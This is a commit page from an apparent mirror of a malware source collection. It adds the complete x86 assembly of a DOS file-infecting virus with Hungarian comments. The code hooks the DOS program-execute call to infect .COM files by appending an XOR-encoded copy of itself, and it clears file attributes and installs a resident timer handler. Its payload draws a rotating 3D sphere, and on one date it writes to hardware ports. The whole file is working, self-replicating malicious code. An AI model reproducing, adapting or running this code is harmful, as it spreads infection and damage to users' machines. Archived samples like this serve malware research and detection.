mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,895 @@
|
||||
CODE segment para public 'code'
|
||||
assume cs:code,ds:code,es:nothing,ss:nothing
|
||||
|
||||
org 100h
|
||||
|
||||
egy equ 1 ; one
|
||||
dma equ 0b0h
|
||||
atvar equ 300 ; at paramaeter
|
||||
xtvar equ 1 ; xt parameter
|
||||
suruseg equ 255 ; density
|
||||
idotartalek equ 18*30 ; time delay
|
||||
|
||||
start: db 0e9h,0,0
|
||||
;##################### Initialization ######################
|
||||
resid: push ax
|
||||
mov cx,offset memory - offset begin ;#### decoding ####
|
||||
mov bx,ds:[101h]
|
||||
add bx,103h+(offset begin-offset resid)
|
||||
jhg1: xor byte ptr [bx],0
|
||||
inc bx
|
||||
loop jhg1
|
||||
|
||||
begin: sub bx,(offset begin-offset resid)+(offset memory - offset begin)
|
||||
mov cs:[0feh],bx
|
||||
mov ax,[bx+(offset eltarol-offset resid)]
|
||||
mov cl,[bx+(offset eltarol-offset resid)+2]
|
||||
mov ds:[100h],ax
|
||||
mov ds:[102h],cl
|
||||
mov cx,0b800h
|
||||
mov ah,15
|
||||
push bx
|
||||
int 10h
|
||||
pop bx
|
||||
cmp al,7
|
||||
jne rety
|
||||
mov ch,0b0h
|
||||
rety: mov [bx+(offset ruut - offset resid)+1],cx
|
||||
mov word ptr [bx+(offset counter-offset resid)],idotartalek
|
||||
mov byte ptr [bx+(offset jammed-offset resid)+1],al
|
||||
mov byte ptr [bx+(offset vanesik-offset resid)],0
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
cmp word ptr ds:[130h],4142h
|
||||
je zipp
|
||||
mov ds:[130h],4142h
|
||||
mov ax,cs
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[3]
|
||||
sub ax,180h
|
||||
mov ds:[3],ax
|
||||
add ax,ds:[1]
|
||||
mov es,ax
|
||||
push cs
|
||||
pop ds
|
||||
sub word ptr ds:[2],384
|
||||
mov di,3
|
||||
mov si,bx
|
||||
mov cx,(offset memory-offset resid) shr 1 +1
|
||||
cld
|
||||
rep movsw
|
||||
mov ax,es
|
||||
sub ax,10h
|
||||
mov ds,ax
|
||||
mov dx,offset irq
|
||||
mov ax,251ch
|
||||
int 21h
|
||||
mov ah,2ah
|
||||
int 21h
|
||||
cmp al,1
|
||||
jne zipp
|
||||
dec al
|
||||
out 0a0h,al
|
||||
mov al,dma
|
||||
out 41h,al
|
||||
zipp:
|
||||
mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
pop ax
|
||||
push cs
|
||||
mov cx,100h
|
||||
push cx
|
||||
mov cx,ds:[0feh]
|
||||
sub cx,100h
|
||||
retf
|
||||
eltarol dw 20cdh
|
||||
eltarol2 db 90h
|
||||
|
||||
;######################### Vyrus activated ##########################
|
||||
csik: mov ax,0e000h
|
||||
mov ds,ax
|
||||
csiky: mov ds:[0],al
|
||||
inc al
|
||||
jmp csiky
|
||||
|
||||
;######################### propagation part ##########################
|
||||
|
||||
eredeti: db 0eah ; original
|
||||
int211 dw 0
|
||||
int212 dw 0
|
||||
counter dw 0
|
||||
szaporodas: cmp ah,4bh
|
||||
jne eredeti
|
||||
or al,al
|
||||
jnz eredeti
|
||||
push ax
|
||||
push es
|
||||
push bx
|
||||
push ds
|
||||
push dx
|
||||
mov bx,dx
|
||||
koj: inc bx
|
||||
cmp byte ptr [bx],'.'
|
||||
jne koj
|
||||
cmp byte ptr[bx+1],'C'
|
||||
jne kiugras1
|
||||
mov cs:kds,ds
|
||||
mov cs:kdx,dx
|
||||
mov cs:kbx,bx
|
||||
call probe
|
||||
kiugras1: pop dx
|
||||
pop ds
|
||||
pop bx
|
||||
pop es
|
||||
pop ax
|
||||
jmp eredeti
|
||||
kds dw 0
|
||||
kdx dw 0
|
||||
kbx dw 0
|
||||
kkk dw 0
|
||||
fszam dw 0
|
||||
probe: push cs
|
||||
pop es
|
||||
mov di,offset memory
|
||||
mov si,dx
|
||||
mov cx,40
|
||||
cld
|
||||
rep movsw
|
||||
mov bx,0ff0h
|
||||
mov ah,48h
|
||||
int 21h
|
||||
jnc juk1
|
||||
ret
|
||||
;!!!!! memoria lefoglalva (kkk = Seg)
|
||||
atr dw 0
|
||||
juk1: mov cs:kkk,ax
|
||||
mov dx,offset memory
|
||||
push ds
|
||||
pop es
|
||||
mov bx,cs:kbx
|
||||
mov byte ptr [bx+1],'A' ;œ
|
||||
call elorutin
|
||||
push cs
|
||||
pop ds ;DS:DX a masolt nev.
|
||||
mov ax,4300h
|
||||
int 21h
|
||||
mov atr,cx
|
||||
xor cx,cx
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
;!!!!! Attr allitas
|
||||
cmp cs:attrflag,0
|
||||
jz juk2
|
||||
mov ds,cs:kds
|
||||
jmp memoff
|
||||
juk2: mov di,kdx ;ES:DI a regi nev atirva
|
||||
mov ah,56h
|
||||
int 21h
|
||||
call utorutin ;!!!!! Atnevezve
|
||||
mov dx,cs:kdx
|
||||
push es
|
||||
pop ds
|
||||
mov ax,3d02h
|
||||
int 21h ;!!!!! File megnyitva
|
||||
mov cs:fszam,ax
|
||||
mov ds,cs:kkk
|
||||
xor dx,dx
|
||||
mov bx,ax
|
||||
mov cx,0fc00h-(offset memory-offset resid)
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
cmp ax,0fc00h-(offset memory-offset resid)
|
||||
;!!!!! Beolvasva a program (csak a hossza miatt)
|
||||
je hosszu ;zarjuk le a file-t
|
||||
cmp ax,7580
|
||||
jb hosszu ;tul rovid a file
|
||||
mov di,ax
|
||||
|
||||
mov bx,ds:[1]
|
||||
cmp word ptr [bx+3],0b950h
|
||||
|
||||
;$$$$$$$$$$$$$$$$$$$$$$$$$ FUCK OFF TASM,MASM $$$$$$$$$$$$$$$$$$$$$$$$$$$
|
||||
|
||||
je hosszu
|
||||
push di
|
||||
mov cx,(offset memory-offset resid)
|
||||
mov si,offset resid
|
||||
push ds
|
||||
pop es
|
||||
push cs
|
||||
pop ds
|
||||
inc byte ptr ds:[offset jhg1 +2]
|
||||
mov ax,es:[0]
|
||||
mov eltarol,ax
|
||||
mov al,es:[2]
|
||||
mov eltarol2,al
|
||||
rep movsw ;!!!!! Atmasolva (hehe)
|
||||
mov al,byte ptr ds:[offset jhg1 +2]
|
||||
pop di
|
||||
add di,(offset begin-offset resid)
|
||||
mov cx,offset memory - offset begin ;#### coding ####
|
||||
jhga: xor byte ptr es:[di],al
|
||||
inc di
|
||||
loop jhga
|
||||
sub di,(offset memory - offset resid)
|
||||
push di ;Az ugrasi hely
|
||||
mov bx,fszam
|
||||
mov cx,offset memory - offset begin
|
||||
mov dx,di
|
||||
push es
|
||||
pop ds
|
||||
mov ah,40h
|
||||
int 21h
|
||||
pop di
|
||||
cmp ax,offset memory - offset begin
|
||||
je ghj1
|
||||
hosszu: jmp zardle
|
||||
ghj1: ;!!!!! Kiirva a vege
|
||||
mov byte ptr ds:[0],0e9h
|
||||
sub di,3
|
||||
mov ds:[1],di
|
||||
mov bx,cs:fszam
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4200h
|
||||
push bx
|
||||
int 21h
|
||||
pop bx
|
||||
mov cx,3
|
||||
xor dx,dx
|
||||
mov ah,40h
|
||||
int 21h
|
||||
zardle: mov bx,cs:fszam
|
||||
mov ah,3eh
|
||||
int 21h ;!!!!! File lezarva
|
||||
push cs
|
||||
pop es
|
||||
mov di,offset memory
|
||||
mov ds,cs:kds
|
||||
mov dx,cs:kdx
|
||||
mov ah,56h
|
||||
int 21h ;!!!!! File visszanevezve
|
||||
mov bx,cs:kbx
|
||||
mov byte ptr ds:[bx+1],'C'
|
||||
mov ax,4301h
|
||||
mov cx,cs:atr
|
||||
int 21h ;!!!!! attr visszaall
|
||||
memoff: mov bx,cs:kbx
|
||||
mov byte ptr ds:[bx+1],'C'
|
||||
push cs
|
||||
pop ds
|
||||
mov es,cs:kkk
|
||||
mov ah,49h
|
||||
int 21h ;!!!!! Memoria visszaalt
|
||||
ret
|
||||
it241 dw 0
|
||||
it242 dw 0
|
||||
attrflag db 0
|
||||
|
||||
elorutin: mov cs:attrflag,0
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[90h]
|
||||
mov cs:it241,ax
|
||||
mov ax,ds:[92h]
|
||||
mov cs:it242,ax
|
||||
mov ds:[90h],offset it24
|
||||
mov ds:[92h],cs
|
||||
ret
|
||||
|
||||
utorutin: xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,cs:it241
|
||||
mov ds:[90h],ax
|
||||
mov ax,cs:it242
|
||||
mov ds:[92h],ax
|
||||
ret
|
||||
it24: mov cs:attrflag,1
|
||||
xor al,al
|
||||
iret
|
||||
vanesik db 0
|
||||
irq: cli
|
||||
push ds
|
||||
push es
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
cmp cs:counter,0
|
||||
je sabad
|
||||
dec cs:counter
|
||||
jne sabad
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[84h]
|
||||
mov cs:int211,ax
|
||||
mov ax,ds:[86h]
|
||||
mov cs:int212,ax
|
||||
mov ds:[84h],offset szaporodas
|
||||
mov ds:[86h],cs
|
||||
sabad: cmp cs:vanesik,0
|
||||
je keress
|
||||
call idovan
|
||||
jmp jumper
|
||||
keress: call ruut
|
||||
jumper: pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop es
|
||||
pop ds
|
||||
iret
|
||||
|
||||
idovan: xor ah,ah
|
||||
int 1ah
|
||||
and dx,suruseg
|
||||
jne rutyi
|
||||
call action
|
||||
rutyi: ret
|
||||
|
||||
|
||||
ruut: mov ax,0b800h
|
||||
mov es,ax
|
||||
mov di,cs:did
|
||||
mov cx,512
|
||||
cld
|
||||
poke: jcxz huy
|
||||
mov al,'E'
|
||||
repnz scasb
|
||||
jz talalt
|
||||
huy: cmp di,4095
|
||||
jb kisebb
|
||||
mov cs:did,0
|
||||
ret
|
||||
kisebb: add cs:did,512
|
||||
ret
|
||||
did dw 0
|
||||
talalt: test di,1
|
||||
jz poke
|
||||
mov dl,es:[di+1]
|
||||
mov dh,es:[di+3]
|
||||
or dx,2020h
|
||||
cmp dx,6973h ;'is'
|
||||
jne poke
|
||||
mov bl,es:[di+5]
|
||||
or bl,20h
|
||||
cmp bl,'k'
|
||||
jne poke
|
||||
mov cs:vanesik,1
|
||||
jmp huy
|
||||
action: mov ax,cs
|
||||
mov ds,ax
|
||||
mov es,ax
|
||||
mov vanesik,0
|
||||
mov pontszam,1
|
||||
mov si,offset zizi
|
||||
mov di,offset novi
|
||||
cld
|
||||
mov cx,6
|
||||
rep movsw
|
||||
call zoldseg
|
||||
jammed: mov ax,3
|
||||
int 10h
|
||||
cmp counterr,atvar
|
||||
jne fdr
|
||||
push cs
|
||||
pop es
|
||||
lea bx,mess
|
||||
mov ax,1301h
|
||||
mov bx,1
|
||||
xor dx,dx
|
||||
mov cx,offset drt-offset mess
|
||||
int 10h
|
||||
fdr: ret
|
||||
|
||||
counterr dw 0
|
||||
zoldseg: cli
|
||||
mov di,offset memory
|
||||
xor ax,ax
|
||||
cld
|
||||
mov cx,200*3
|
||||
rep stosw
|
||||
mov ah,0c0h
|
||||
mov si,3333h
|
||||
int 15h
|
||||
cmp si,3333h
|
||||
mov ax,xtvar
|
||||
je xt
|
||||
mov ax,atvar
|
||||
xt: mov counterr,ax
|
||||
mov ax,3502h
|
||||
int 21h
|
||||
cmp bx,0e9eh
|
||||
jne ibm
|
||||
call init1
|
||||
mov pontm,100
|
||||
mov port,22h
|
||||
jmp entry
|
||||
ibm: ;Ibm bulik
|
||||
mov pontm,200
|
||||
mov al,70h
|
||||
mov port,60h ;%
|
||||
mov ah,15
|
||||
int 10h
|
||||
cmp al,7
|
||||
jne cga
|
||||
call init3
|
||||
jmp entry
|
||||
cga: call init2
|
||||
jmp entry
|
||||
port dw 22h
|
||||
pontm dw 100
|
||||
|
||||
init1: mov ax,200h
|
||||
mov es,ax
|
||||
xor di,di
|
||||
mov cx,4000h
|
||||
cld
|
||||
xor ax,ax
|
||||
rep stosw
|
||||
mov plotdw,offset plot
|
||||
mov unplotdw,offset unplot
|
||||
ret
|
||||
init2: mov ax,0b800h
|
||||
mov es,ax
|
||||
mov ax,6
|
||||
int 10h
|
||||
mov plotdw,offset plotcga
|
||||
mov unplotdw,offset unplotcga
|
||||
ret
|
||||
init3: mov ax,0b000h
|
||||
mov es,ax
|
||||
call prog
|
||||
mov plotdw,offset plotherc
|
||||
mov unplotdw,offset unplotcga
|
||||
ret
|
||||
prog: mov dx,3bfh
|
||||
mov al,3
|
||||
out dx,al
|
||||
mov al,28h
|
||||
mov dx,3b8h
|
||||
out dx,al
|
||||
mov ah,0
|
||||
mov cx,12
|
||||
lea bx,ports
|
||||
lopi1: mov dx,03b4h
|
||||
mov al,ah
|
||||
out dx,al
|
||||
inc ah
|
||||
mov dx,03b5h
|
||||
mov al,[bx]
|
||||
out dx,al
|
||||
inc bx
|
||||
loop lopi1
|
||||
|
||||
mov dx,3bfh
|
||||
mov al,3
|
||||
out dx,al
|
||||
mov dx,3b8h
|
||||
mov al,0ah
|
||||
out dx,al
|
||||
xor di,di
|
||||
mov cx,4000h
|
||||
xor ax,ax
|
||||
cld
|
||||
rep stosw
|
||||
ret
|
||||
|
||||
ports db 35h,2dh,2eh,7,5bh,2,57h,57h,2,3,0,0
|
||||
|
||||
;**************************** Forgatorutin ************************************
|
||||
|
||||
even
|
||||
sina dw 0
|
||||
cosa dw 0 ;si-t meghagyja
|
||||
sinb dw 0
|
||||
cosb dw 0
|
||||
pontszam dw 1
|
||||
transzform: ;be: di=X, bx=Y, cx=Z, SINA,COSA,SINB,COSB
|
||||
; add bx,ytol ;ez itt jolesz
|
||||
shl di,1
|
||||
shl bx,1 ;X es Y elokeszitese a szorzashoz
|
||||
mov ax,di
|
||||
imul cosa
|
||||
mov bp,dx
|
||||
mov ax,bx
|
||||
imul sina
|
||||
add bp,dx ; bp=X' = cosa*X + sina*Y
|
||||
mov ax,bx
|
||||
imul cosa
|
||||
mov bx,dx
|
||||
mov ax,di
|
||||
imul sina
|
||||
sub bx,dx ; bx=Y' = cosa*X - sina*Y
|
||||
shl bp,1
|
||||
shl cx,1 ;X' es Z elokeszitese
|
||||
mov ax,bp
|
||||
imul cosb
|
||||
mov di,dx
|
||||
mov ax,cx
|
||||
imul sinb
|
||||
sub di,dx ; di=X'' = cosb*X' - sinb*Z
|
||||
mov cx,di
|
||||
mov ax,bx
|
||||
ret
|
||||
|
||||
comment @
|
||||
mov ax,cx
|
||||
imul cosb
|
||||
mov cx,dx
|
||||
mov ax,bp
|
||||
imul sinb
|
||||
add cx,dx ; cx=Z'' = cosb*Z = sinb*X'
|
||||
|
||||
; out: di=X'' bx=Y'' cx=Z''
|
||||
mov dx,keptav
|
||||
;****************************** PERSPEKTIVA **********************************
|
||||
mov ax,di
|
||||
shl ax,1
|
||||
imul tavol
|
||||
mov cx,dx
|
||||
mov ax,bx
|
||||
shl ax,1
|
||||
imul tavol
|
||||
mov ax,dx
|
||||
ret ; ki : CX=X' AX=Y'
|
||||
|
||||
@
|
||||
|
||||
plotherc: ; al=y cx=x
|
||||
xor ah,ah
|
||||
mov dx,ax
|
||||
shr dx,1
|
||||
add ax,dx
|
||||
mov dx,cx
|
||||
mov cl,al
|
||||
and cl,3
|
||||
shr ax,1
|
||||
shr al,1
|
||||
mov di,2000h
|
||||
shl di,cl
|
||||
mov cl,90
|
||||
mul cl
|
||||
add di,ax
|
||||
mov ax,dx
|
||||
mov cx,dx
|
||||
jmp ezisi
|
||||
plotcga: xor di,di
|
||||
shr ax,1
|
||||
jnc tryp
|
||||
mov di,2000h
|
||||
tryp: mov dl,80
|
||||
mul dl
|
||||
add di,ax
|
||||
mov ax,cx
|
||||
ezisi: shr ax,1
|
||||
shr ax,1
|
||||
shr ax,1
|
||||
add di,ax
|
||||
and cl,7
|
||||
mov al,128
|
||||
shr al,cl
|
||||
or es:[di],al
|
||||
jmp ezis1
|
||||
|
||||
unplotcga: mov al,[bx]
|
||||
mov di,[bx+1]
|
||||
xor al,255
|
||||
and es:[di],al
|
||||
ret
|
||||
|
||||
plot: ;AL = y koord. cx = x koord.
|
||||
mov dl,160
|
||||
mul dl
|
||||
mov di,ax
|
||||
mov ax,cx
|
||||
shr ax,1
|
||||
shr ax,1
|
||||
add di,ax
|
||||
and di,-2
|
||||
and cl,7
|
||||
mov al,128
|
||||
shr al,cl
|
||||
or es:[di+egy],al
|
||||
ezis1: mov [bx],al
|
||||
inc bx
|
||||
mov [bx],di
|
||||
add bx,2
|
||||
ret
|
||||
unplot: mov al,[bx]
|
||||
mov di,[bx+1]
|
||||
xor al,255
|
||||
and es:[di+egy],al
|
||||
ret
|
||||
kezdfazisrajz: mov bx,offset memory
|
||||
mov si,offset gombdata
|
||||
mov cx,pontszam
|
||||
ck1: push cx
|
||||
lodsw
|
||||
mov cx,ax
|
||||
shl cx,1
|
||||
add cx,320
|
||||
lodsw
|
||||
add si,2
|
||||
add ax,50
|
||||
call word ptr [plotdw]
|
||||
pop cx
|
||||
loop ck1
|
||||
ret
|
||||
indy db 0
|
||||
|
||||
fazisrajz: mov bx,offset memory
|
||||
mov si,offset gombdata
|
||||
mov cx,pontszam
|
||||
mov indy,1
|
||||
ck12: push cx
|
||||
call word ptr [unplotdw]
|
||||
push bx
|
||||
lodsw
|
||||
mov di,ax
|
||||
lodsw
|
||||
mov bx,ax
|
||||
lodsw
|
||||
mov cx,ax
|
||||
call transzform
|
||||
pop bx
|
||||
add ax,50
|
||||
mov di,bxpo
|
||||
add al,[di]
|
||||
shl cx,1
|
||||
add cx,bxpo2
|
||||
cmp indy,0
|
||||
je ruty
|
||||
mov indy,0
|
||||
cmp karal2,0
|
||||
jne ruty
|
||||
push cx
|
||||
push ax
|
||||
inc cx
|
||||
call word ptr [plotdw]
|
||||
pop ax
|
||||
pop cx
|
||||
sub bx,3
|
||||
ruty: call word ptr [plotdw]
|
||||
pop cx
|
||||
loop ck12
|
||||
ret
|
||||
|
||||
novpont: mov ax,pontm
|
||||
cmp pontszam,ax
|
||||
je trew
|
||||
mov cx,pontm
|
||||
sub cx,pontszam
|
||||
mov ch,cl
|
||||
shR cx,1
|
||||
shr cx,1
|
||||
yut: loop yut
|
||||
inc pontszam
|
||||
ret
|
||||
trew: call movie
|
||||
mov bx,bxpo
|
||||
cmp bx,offset patt
|
||||
je valto
|
||||
cmp bx,offset patt+29
|
||||
je valto
|
||||
iuy: add bx,novi
|
||||
mov bxpo,bx
|
||||
ret
|
||||
valto: neg novi
|
||||
jmp iuy
|
||||
novi dw -1
|
||||
bxpo dw offset patt
|
||||
bxpo2 dw 320
|
||||
novi2 dw 4
|
||||
karal dw 300
|
||||
karal2 dw 600
|
||||
zizi dw -1,offset patt,320,4,300,600
|
||||
movie: cmp karal,0
|
||||
je jesty
|
||||
dec karal
|
||||
ret
|
||||
jesty: cmp karal2,0
|
||||
je jesty2
|
||||
dec karal2
|
||||
jesty2: mov bx,bxpo2
|
||||
cmp bx,100
|
||||
je valto2
|
||||
cmp bx,540
|
||||
je valto2
|
||||
iuy2: add bx,novi2
|
||||
mov bxpo2,bx
|
||||
ret
|
||||
valto2: neg novi2
|
||||
jmp iuy2
|
||||
elokesz: call novpont
|
||||
mov bl,szogx
|
||||
xor bh,bh
|
||||
shl bx,1
|
||||
mov ax,sintabl[bx]
|
||||
mov sina,ax
|
||||
mov ax,costabl[bx]
|
||||
mov cosa,ax
|
||||
mov bl,szogy
|
||||
xor bh,bh
|
||||
shl bx,1
|
||||
mov ax,sintabl[bx]
|
||||
mov sinb,ax
|
||||
mov ax,costabl[bx]
|
||||
mov cosb,ax
|
||||
mov al,szogxvalt
|
||||
add szogx,al
|
||||
mov al,szogyvalt
|
||||
add szogy,al
|
||||
ret
|
||||
even
|
||||
szogx db 0
|
||||
szogy db 0
|
||||
szogxvalt db 2
|
||||
szogyvalt db 5
|
||||
tavol dw 32767
|
||||
|
||||
phase: call elokesz
|
||||
call fazisrajz
|
||||
ret
|
||||
entry: call kezdfazisrajz
|
||||
rajta1: call phase
|
||||
cmp pontm,100
|
||||
je apc
|
||||
cmp byte ptr ds:[offset ruut +2],0b8h
|
||||
je ccggaa
|
||||
mov cx,counterr
|
||||
mov dx,3bah
|
||||
qaz1: in al,dx
|
||||
and al,1
|
||||
jnz qaz1
|
||||
qaz2: in al,dx
|
||||
and al,1
|
||||
jz qaz2
|
||||
loop qaz1
|
||||
jmp apc
|
||||
ccggaa: mov dx,3dah
|
||||
qaz3: in al,dx
|
||||
and al,8
|
||||
jnz qaz3
|
||||
qaz4: in al,dx
|
||||
and al,8
|
||||
jz qaz4
|
||||
apc: mov dx,port
|
||||
in al,dx
|
||||
and al,1
|
||||
jz rajta1
|
||||
ret
|
||||
even
|
||||
plotdw dw 0
|
||||
unplotdw dw 0
|
||||
|
||||
sintabl dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602, 6393
|
||||
dw 7179, 7962, 8739, 9512, 10278, 11039, 11793, 12539, 13279
|
||||
dw 14010, 14732, 15446, 16151, 16846, 17530, 18204, 18868, 19519
|
||||
dw 20159, 20787, 21403, 22005, 22594, 23170, 23731, 24279, 24811
|
||||
dw 25329, 25832, 26319, 26790, 27245, 27683, 28105, 28510, 28898
|
||||
dw 29268, 29621, 29956, 30273, 30571, 30852, 31113, 31356, 31580
|
||||
dw 31785, 31971, 32137, 32285, 32412, 32521, 32609, 32678, 32728
|
||||
dw 32757, 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
|
||||
dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571, 30273
|
||||
dw 29956, 29621, 29268, 28898, 28510, 28105, 27683, 27245, 26790
|
||||
dw 26319, 25832, 25329, 24811, 24279, 23731, 23170, 22594, 22005
|
||||
dw 21403, 20787, 20159, 19519, 18868, 18204, 17530, 16846, 16151
|
||||
dw 15446, 14732, 14010, 13279, 12539, 11793, 11039, 10278, 9512
|
||||
dw 8739, 7962, 7179, 6393, 5602, 4808, 4011, 3212, 2410
|
||||
dw 1608, 804, 0, -804, -1608, -2410, -3212, -4011, -4808
|
||||
dw -5602, -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
|
||||
dw -12539,-13279,-14010,-14732,-15446,-16151,-16846,-17530,-18204
|
||||
dw -18868,-19519,-20159,-20787,-21403,-22005,-22594,-23170,-23731
|
||||
dw -24279,-24811,-25329,-25832,-26319,-26790,-27245,-27683,-28105
|
||||
dw -28510,-28898,-29268,-29621,-29956,-30273,-30571,-30852,-31113
|
||||
dw -31356,-31580,-31785,-31971,-32137,-32285,-32412,-32521,-32609
|
||||
dw -32678,-32728,-32757,-32767,-32757,-32728,-32678,-32609,-32521
|
||||
dw -32412,-32285,-32137,-31971,-31785,-31580,-31356,-31113,-30852
|
||||
dw -30571,-30273,-29956,-29621,-29268,-28898,-28510,-28105,-27683
|
||||
dw -27245,-26790,-26319,-25832,-25329,-24811,-24279,-23731,-23170
|
||||
dw -22594,-22005,-21403,-20787,-20159,-19519,-18868,-18204,-17530
|
||||
dw -16846,-16151,-15446,-14732,-14010,-13279,-12539,-11793,-11039
|
||||
dw -10278, -9512, -8739, -7962, -7179, -6393, -5602, -4808, -4011
|
||||
dw -3212, -2410, -1608, -804
|
||||
costabl dw 32767, 32757, 32728, 32678, 32609, 32521, 32412, 32285
|
||||
dw 32137, 31971, 31785, 31580, 31356, 31113, 30852, 30571
|
||||
dw 30273, 29956, 29621, 29268, 28898, 28510, 28105, 27683
|
||||
dw 27245, 26790, 26319, 25832, 25329, 24811, 24279, 23731
|
||||
dw 23170, 22594, 22005, 21403, 20787, 20159, 19519, 18868
|
||||
dw 18204, 17530, 16846, 16151, 15446, 14732, 14010, 13279
|
||||
dw 12539, 11793, 11039, 10278, 9512, 8739, 7962, 7179
|
||||
dw 6393, 5602, 4808, 4011, 3212, 2410, 1608, 804
|
||||
dw 0, -804, -1608, -2410, -3212, -4011, -4808, -5602
|
||||
dw -6393, -7179, -7962, -8739, -9512,-10278,-11039,-11793
|
||||
dw -12539, -13279,-14010,-14732,-15446,-16151,-16846,-17530
|
||||
dw -18204, -18868,-19519,-20159,-20787,-21403,-22005,-22594
|
||||
dw -23170, -23731,-24279,-24811,-25329,-25832,-26319,-26790
|
||||
dw -27245, -27683,-28105,-28510,-28898,-29268,-29621,-29956
|
||||
dw -30273, -30571,-30852,-31113,-31356,-31580,-31785,-31971
|
||||
dw -32137, -32285,-32412,-32521,-32609,-32678,-32728,-32757
|
||||
dw -32767, -32757,-32728,-32678,-32609,-32521,-32412,-32285
|
||||
dw -32137, -31971,-31785,-31580,-31356,-31113,-30852,-30571
|
||||
dw -30273, -29956,-29621,-29268,-28898,-28510,-28105,-27683
|
||||
dw -27245, -26790,-26319,-25832,-25329,-24811,-24279,-23731
|
||||
dw -23170, -22594,-22005,-21403,-20787,-20159,-19519,-18868
|
||||
dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279
|
||||
dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179
|
||||
dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804
|
||||
dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602
|
||||
dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793
|
||||
dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530
|
||||
dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594
|
||||
dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790
|
||||
dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956
|
||||
dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971
|
||||
dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757
|
||||
gombdata:
|
||||
DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46
|
||||
DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25
|
||||
DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21
|
||||
DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25
|
||||
DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0
|
||||
DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2
|
||||
DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5
|
||||
DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12
|
||||
DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30
|
||||
DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0
|
||||
DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44
|
||||
DW 33,15,-33,46,12,-14,48,9,7,40,6,29
|
||||
DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29
|
||||
DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44
|
||||
DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0
|
||||
DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30
|
||||
DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12
|
||||
DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5
|
||||
DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2
|
||||
DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0
|
||||
DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25
|
||||
DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21
|
||||
DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25
|
||||
DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46
|
||||
DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0
|
||||
DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46
|
||||
DW 33,15,-33,44,18,-14,44,21,7,35,24,25
|
||||
DW 19,26,37,0,29,40,-17,31,34,-29,34,21
|
||||
DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25
|
||||
DW 3,43,-23,12,45,-17,16,46,-8,15,47,0
|
||||
DW 11,48,5,5,49,7,0,49,6,0,49,2
|
||||
DW 0,49,0,2,49,0,6,49,0,7,49,5
|
||||
DW 5,48,11,0,47,15,-8,46,16,-17,45,12
|
||||
DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30
|
||||
DW 5,36,-33,21,34,-29,34,31,-17,40,29,0
|
||||
DW 37,26,19,25,24,35,7,21,44,-14,18,44
|
||||
DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29
|
||||
DW -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29
|
||||
DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44
|
||||
DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0
|
||||
DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30
|
||||
DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12
|
||||
DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5
|
||||
DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2
|
||||
DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0
|
||||
DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25
|
||||
DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21
|
||||
